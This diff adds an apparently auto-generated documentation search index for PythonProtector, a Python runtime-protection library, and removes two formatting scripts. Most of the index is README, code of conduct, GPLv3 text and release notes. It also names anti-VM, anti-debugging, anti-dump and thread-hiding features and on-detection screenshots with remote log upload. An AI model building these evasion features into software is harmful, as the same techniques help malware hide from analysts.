+ + + + + + + + + \ No newline at end of file diff --git a/scripts/format.bat b/scripts/format.bat deleted file mode 100644 index 0fd0316..0000000 --- a/scripts/format.bat +++ /dev/null @@ -1,5 +0,0 @@ -@echo off - -cd .. - -ruff format \ No newline at end of file diff --git a/scripts/format_linux.sh b/scripts/format_linux.sh deleted file mode 100644 index f7e3f5a..0000000 --- a/scripts/format_linux.sh +++ /dev/null @@ -1,13 +0,0 @@ -#!/bin/bash - -echo ------------------------------------- - -echo [*] Starting Format Process - -ruff format - -echo ------------------------------------- - -echo [*] Formatted All Files. - -exit \ No newline at end of file diff --git a/search/search_index.json b/search/search_index.json new file mode 100755 index 0000000..060043a --- /dev/null +++ b/search/search_index.json @@ -0,0 +1 @@ +{"config":{"lang":["en"],"separator":"[\\s\\-]+","pipeline":["stopWordFilter"]},"docs":[{"location":"","title":"PythonProtector \ud83d\udd12","text":"

A modern, easy to use and feature-rich way to protect your Python Programs.

"},{"location":"#features","title":"Features","text":"
  • Completely Configurable Module System
  • Completely Configurable On Detection System
  • Encrypted Logging System With Remote Uploading
  • Discord Webhook Support
  • Clean, Optimized Code
  • Constant Updates
"},{"location":"#installation","title":"Installation","text":"

Python 3.11 or higher is required

Install The PyPi Version:

py -3 -m pip install -U PythonProtector\n

You may also install the development version:

pip install git+https://github.com/xFGhoul/PythonProtector.git\n

"},{"location":"#usage","title":"Usage","text":"

Quick Example:

from pathlib import Path\nfrom threading import Thread\nfrom pyprotector import PythonProtector\n# -- Define Constants\nLOGGING_PATH = (\nPath.home() / \"AppData/Roaming/PythonProtector/logs/[Security].log\"\n)  # -- This can be any path\n# -- Construct Class\nsecurity = PythonProtector(\ndebug=True,\nmodules=[\n\"AntiProcess\",\n\"AntiVM\",\n\"Miscellaneous\",\n\"AntiDLL\",\n\"AntiAnalysis\"],\nlogs_path=LOGGING_PATH,\nwebhook_url=\"\",\non_detect=[\n\"Report\",\n\"Exit\",\n\"Screenshot\"],\n)\n# -- Main Code\nif __name__ == \"__main__\":\nSecurityThread = Thread(\nname=\"Python Protector\", target=security.start\n)  # -- Start Before Any Other Code Is Run\nSecurityThread.start()\n# Other Code\n

You can find more examples in the examples directory.

"},{"location":"#files-and-explanations","title":"Files and Explanations","text":"

\u251c\u2500\u2500.github \u2014 GitHub configuration including CI/CD workflows \u251c\u2500\u2500.vscode \u2014 VSCode Related Settings \u251c\u2500\u2500data \u2014 Data Files Needed By PythonProtector \u251c\u2500\u2500examples \u2014 Examples Showing How To Use PythonProtector \u251c\u2500\u2500pyprotector \u2014 Source Code Of PythonProtector \u251c\u2500\u2500scripts \u2014 Scripts Used In The Development Process

Made With \u2764\ufe0f By ghoul#1337 and Marci#0101

"},{"location":"code_of_conduct/","title":"Contributor Covenant Code of Conduct","text":""},{"location":"code_of_conduct/#our-pledge","title":"Our Pledge","text":"

In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to make participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.

"},{"location":"code_of_conduct/#our-standards","title":"Our Standards","text":"

Examples of behavior that contributes to creating a positive environment include:

  • Using welcoming and inclusive language
  • Being respectful of differing viewpoints and experiences
  • Gracefully accepting constructive criticism
  • Focusing on what is best for the community
  • Showing empathy towards other community members

Examples of unacceptable behavior by participants include:

  • The use of sexualized language or imagery and unwelcome sexual attention or advances
  • Trolling, insulting/derogatory comments, and personal or political attacks
  • Public or private harassment
  • Publishing others' private information, such as a physical or electronic address, without explicit permission
  • Other conduct which could reasonably be considered inappropriate in a professional setting
"},{"location":"code_of_conduct/#our-responsibilities","title":"Our Responsibilities","text":"

Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.

Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.

"},{"location":"code_of_conduct/#scope","title":"Scope","text":"

This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.

"},{"location":"code_of_conduct/#enforcement","title":"Enforcement","text":"

Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the Project Leader on Discord Via DMing ghoul#0002. All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.

Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.

"},{"location":"code_of_conduct/#attribution","title":"Attribution","text":"

This Code of Conduct is adapted from the Contributor Covenant, version 1.4, available at https://contributor-covenant.org/version/1/4

"},{"location":"faq/","title":"FAQ","text":""},{"location":"faq/#what-is-pythonprotector","title":"What is PythonProtector?","text":"

Python Protector is a python library aimed at protecting your python program at runtime.

"},{"location":"installation/","title":"Installation","text":""},{"location":"installation/#getting-started","title":"Getting Started","text":"

You can add PythonProtector to your python project in a few easy steps. First of all, install the dependency:

"},{"location":"installation/#default-dependency","title":"Default Dependency","text":"

Python 3.11 or higher is required

Install The PyPi Version:

py -3 -m pip install -U PythonProtector\n

You may also install the development version:

pip install git+https://github.com/xFGhoul/PythonProtector.git\n
"},{"location":"license/","title":"License","text":"
                GNU GENERAL PUBLIC LICENSE\n                   Version 3, 29 June 2007\n

Copyright (C) 2007 Free Software Foundation, Inc. https://fsf.org/ Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

                        Preamble\n

The GNU General Public License is a free, copyleft license for software and other kinds of works.

The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too.

When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things.

To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others.

For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.

Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it.

For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions.

Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users.

Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free.

The precise terms and conditions for copying, distribution and modification follow.

                   TERMS AND CONDITIONS\n
  1. Definitions.

\"This License\" refers to version 3 of the GNU General Public License.

\"Copyright\" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks.

\"The Program\" refers to any copyrightable work licensed under this License. Each licensee is addressed as \"you\". \"Licensees\" and \"recipients\" may be individuals or organizations.

To \"modify\" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a \"modified version\" of the earlier work or a work \"based on\" the earlier work.

A \"covered work\" means either the unmodified Program or a work based on the Program.

To \"propagate\" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well.

To \"convey\" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying.

An interactive user interface displays \"Appropriate Legal Notices\" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion.

  1. Source Code.

The \"source code\" for a work means the preferred form of the work for making modifications to it. \"Object code\" means any non-source form of a work.

A \"Standard Interface\" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language.

The \"System Libraries\" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A \"Major Component\", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it.

The \"Corresponding Source\" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work.

The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source.

The Corresponding Source for a work in source code form is that same work.

  1. Basic Permissions.

All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law.

You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you.

Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary.

  1. Protecting Users' Legal Rights From Anti-Circumvention Law.

No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures.

When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures.

  1. Conveying Verbatim Copies.

You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program.

You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee.

  1. Conveying Modified Source Versions.

You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions:

a) The work must carry prominent notices stating that you modified\nit, and giving a relevant date.\n\nb) The work must carry prominent notices stating that it is\nreleased under this License and any conditions added under section\n7.  This requirement modifies the requirement in section 4 to\n\"keep intact all notices\".\n\nc) You must license the entire work, as a whole, under this\nLicense to anyone who comes into possession of a copy.  This\nLicense will therefore apply, along with any applicable section 7\nadditional terms, to the whole of the work, and all its parts,\nregardless of how they are packaged.  This License gives no\npermission to license the work in any other way, but it does not\ninvalidate such permission if you have separately received it.\n\nd) If the work has interactive user interfaces, each must display\nAppropriate Legal Notices; however, if the Program has interactive\ninterfaces that do not display Appropriate Legal Notices, your\nwork need not make them do so.\n

A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an \"aggregate\" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate.

  1. Conveying Non-Source Forms.

You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways:

a) Convey the object code in, or embodied in, a physical product\n(including a physical distribution medium), accompanied by the\nCorresponding Source fixed on a durable physical medium\ncustomarily used for software interchange.\n\nb) Convey the object code in, or embodied in, a physical product\n(including a physical distribution medium), accompanied by a\nwritten offer, valid for at least three years and valid for as\nlong as you offer spare parts or customer support for that product\nmodel, to give anyone who possesses the object code either (1) a\ncopy of the Corresponding Source for all the software in the\nproduct that is covered by this License, on a durable physical\nmedium customarily used for software interchange, for a price no\nmore than your reasonable cost of physically performing this\nconveying of source, or (2) access to copy the\nCorresponding Source from a network server at no charge.\n\nc) Convey individual copies of the object code with a copy of the\nwritten offer to provide the Corresponding Source.  This\nalternative is allowed only occasionally and noncommercially, and\nonly if you received the object code with such an offer, in accord\nwith subsection 6b.\n\nd) Convey the object code by offering access from a designated\nplace (gratis or for a charge), and offer equivalent access to the\nCorresponding Source in the same way through the same place at no\nfurther charge.  You need not require recipients to copy the\nCorresponding Source along with the object code.  If the place to\ncopy the object code is a network server, the Corresponding Source\nmay be on a different server (operated by you or a third party)\nthat supports equivalent copying facilities, provided you maintain\nclear directions next to the object code saying where to find the\nCorresponding Source.  Regardless of what server hosts the\nCorresponding Source, you remain obligated to ensure that it is\navailable for as long as needed to satisfy these requirements.\n\ne) Convey the object code using peer-to-peer transmission, provided\nyou inform other peers where the object code and Corresponding\nSource of the work are being offered to the general public at no\ncharge under subsection 6d.\n

A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work.

A \"User Product\" is either (1) a \"consumer product\", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, \"normally used\" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product.

\"Installation Information\" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made.

If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM).

The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network.

Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying.

  1. Additional Terms.

\"Additional permissions\" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions.

When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission.

Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms:

a) Disclaiming warranty or limiting liability differently from the\nterms of sections 15 and 16 of this License; or\n\nb) Requiring preservation of specified reasonable legal notices or\nauthor attributions in that material or in the Appropriate Legal\nNotices displayed by works containing it; or\n\nc) Prohibiting misrepresentation of the origin of that material, or\nrequiring that modified versions of such material be marked in\nreasonable ways as different from the original version; or\n\nd) Limiting the use for publicity purposes of names of licensors or\nauthors of the material; or\n\ne) Declining to grant rights under trademark law for use of some\ntrade names, trademarks, or service marks; or\n\nf) Requiring indemnification of licensors and authors of that\nmaterial by anyone who conveys the material (or modified versions of\nit) with contractual assumptions of liability to the recipient, for\nany liability that these contractual assumptions directly impose on\nthose licensors and authors.\n

All other non-permissive additional terms are considered \"further restrictions\" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying.

If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms.

Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way.

  1. Termination.

You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11).

However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.

Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.

Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10.

  1. Acceptance Not Required for Having Copies.

You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so.

  1. Automatic Licensing of Downstream Recipients.

Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License.

An \"entity transaction\" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts.

You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it.

  1. Patents.

A \"contributor\" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's \"contributor version\".

A contributor's \"essential patent claims\" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, \"control\" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License.

Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version.

In the following three paragraphs, a \"patent license\" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To \"grant\" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party.

If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. \"Knowingly relying\" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid.

If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it.

A patent license is \"discriminatory\" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007.

Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law.

  1. No Surrender of Others' Freedom.

If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program.

  1. Use with the GNU Affero General Public License.

Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such.

  1. Revised Versions of this License.

The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.

Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License \"or any later version\" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation.

If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program.

Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version.

  1. Disclaimer of Warranty.

THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  1. Limitation of Liability.

IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

  1. Interpretation of Sections 15 and 16.

If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee.

                 END OF TERMS AND CONDITIONS\n\n        How to Apply These Terms to Your New Programs\n

If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms.

To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the \"copyright\" line and a pointer to where the full notice is found.

<one line to give the program's name and a brief idea of what it does.>\nCopyright (C) <year>  <name of author>\n\nThis program is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program.  If not, see <https://www.gnu.org/licenses/>.\n

Also add information on how to contact you by electronic and paper mail.

If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode:

<program>  Copyright (C) <year>  <name of author>\nThis program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\nThis is free software, and you are welcome to redistribute it\nunder certain conditions; type `show c' for details.\n

The hypothetical commands show w' andshow c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an \"about box\".

You should also get your employer (if you work as a programmer) or school, if any, to sign a \"copyright disclaimer\" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see https://www.gnu.org/licenses/.

The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read https://www.gnu.org/licenses/why-not-lgpl.html.

"},{"location":"release/","title":"Release Notes","text":""},{"location":"release/#10-2022-09-18","title":"1.0 - 2022-09-18","text":"

Release Initial Project

"},{"location":"release/#11-2022-12-28","title":"1.1 - 2022-12-28","text":"

So It's been kind of a while since we released a new update, I had some pretty big stuff going on irl, no time to code, just recently came back and decided to make some updates.

  • Completely Configurable Module System - Users now have the choice of deciding what modules they use, currently there are only the main 4 me and marci provide, but we are open to pull requests and we will be adding more in the future, do check the repository or the example for more information.

  • should_exit argument - gives users the ability to decide if the program should exit if one of the detections were raised.

  • Overall Improvement/Refactoring - This update didn't bring everything me and marci are planning for, but this is just a couple, in the update I made to sure to cover some edge cases so you guys don't get confused

"},{"location":"release/#15-2023-01-05","title":"1.5 - 2023-01-05","text":"

I know this is a pretty quick release, and the jump from 1.1 to 1.5 but I felt it was only necessary with the amount of changes made.

"},{"location":"release/#major-changes","title":"Major Changes:","text":"
  • Encrypted Logging - Instead of logs that anybody can read, logs are now encrypted at runtime and are only decrypted if malicious activity is detected

  • AntiAnalysis - Thanks to the work of Marci, a new module has been made!, this one comes with some pretty neat features, be sure to check it out

  • New On Detection System / on_detect - Similarly to the new configurable module system, I've gone ahead and done the same with what happens when malicious activity is detected, check out the examples for how it's used

"},{"location":"release/#minor-changes","title":"Minor Changes","text":"
  • Updated Minimum Python Requirement To 3.11

  • Refactoring and Misc Improvements

"},{"location":"release/#16-2023-01-07","title":"1.6 - 2023-01-07","text":"

Minor bump for setup.py bug that didn't allow importing.

"},{"location":"release/#17-2023-01-25","title":"1.7 - 2023-01-25","text":""},{"location":"release/#major-changes_1","title":"Major Changes","text":"
  • Live Documentation - Docs are now public at http://ghouldev.me/PythonProtector

  • Event System - Event System, see docs for more info

"},{"location":"release/#minor-changes_1","title":"Minor Changes","text":"
  • Miscellaneous Changes/Refactoring - For A Better User Experience
"},{"location":"release/#18-0-2023-02-11","title":"1.8 0 2023-02-11","text":""},{"location":"release/#major-changes_2","title":"Major Changes","text":"
  • Anti Dump - New Anti Dump Module
"},{"location":"release/#minor-changes_2","title":"Minor Changes","text":"
  • Miscellaneous Changes/Refactoring - For A Better User Experience
  • Bug Fixes - Many Bug Fixes For Edge Cases
"},{"location":"configuration/Events/","title":"Intro To Events","text":"

Events is a system implemented to notify when a specific function has raised a detection.

There are two events that are called when the application detects suspicious activity, pyprotector_detect and the function's specific event found in the event reference.

Example pyprotector_detect Event:

@security.event.obs.on(\"pyprotector_detect\")\ndef on_pyprotector_detect(text: str, module: str, **kwargs):\nprint(f\"{module} - {text}\\nKwargs: {kwargs}\")\n

Example Function Specific Event:

@security.event.obs.on(\"process_running\") \ndef on_process_running(text: str, module: str, process: psutil.Process):\nprint(f\"{module} - {text}\\nProcess Name: {process.name()}\")\n# Free To Do Whatever You Want Here...\n

Events Will Always Return text and module, any other kwargs are event specific.

You Can Find All Events In Each Modules Respective Event Reference.

"},{"location":"configuration/Modules/Anti%20Analysis/","title":"Anti Analysis","text":""},{"location":"configuration/Modules/Anti%20Analysis/#methods","title":"Methods","text":""},{"location":"configuration/Modules/Anti%20Analysis/#checkdebugprivilege","title":"CheckDebugPrivilege","text":"

Checks If Debug Privilege is Found Enabled

"},{"location":"configuration/Modules/Anti%20Analysis/#hidethreads","title":"HideThreads","text":"

Hides Current Process Thread

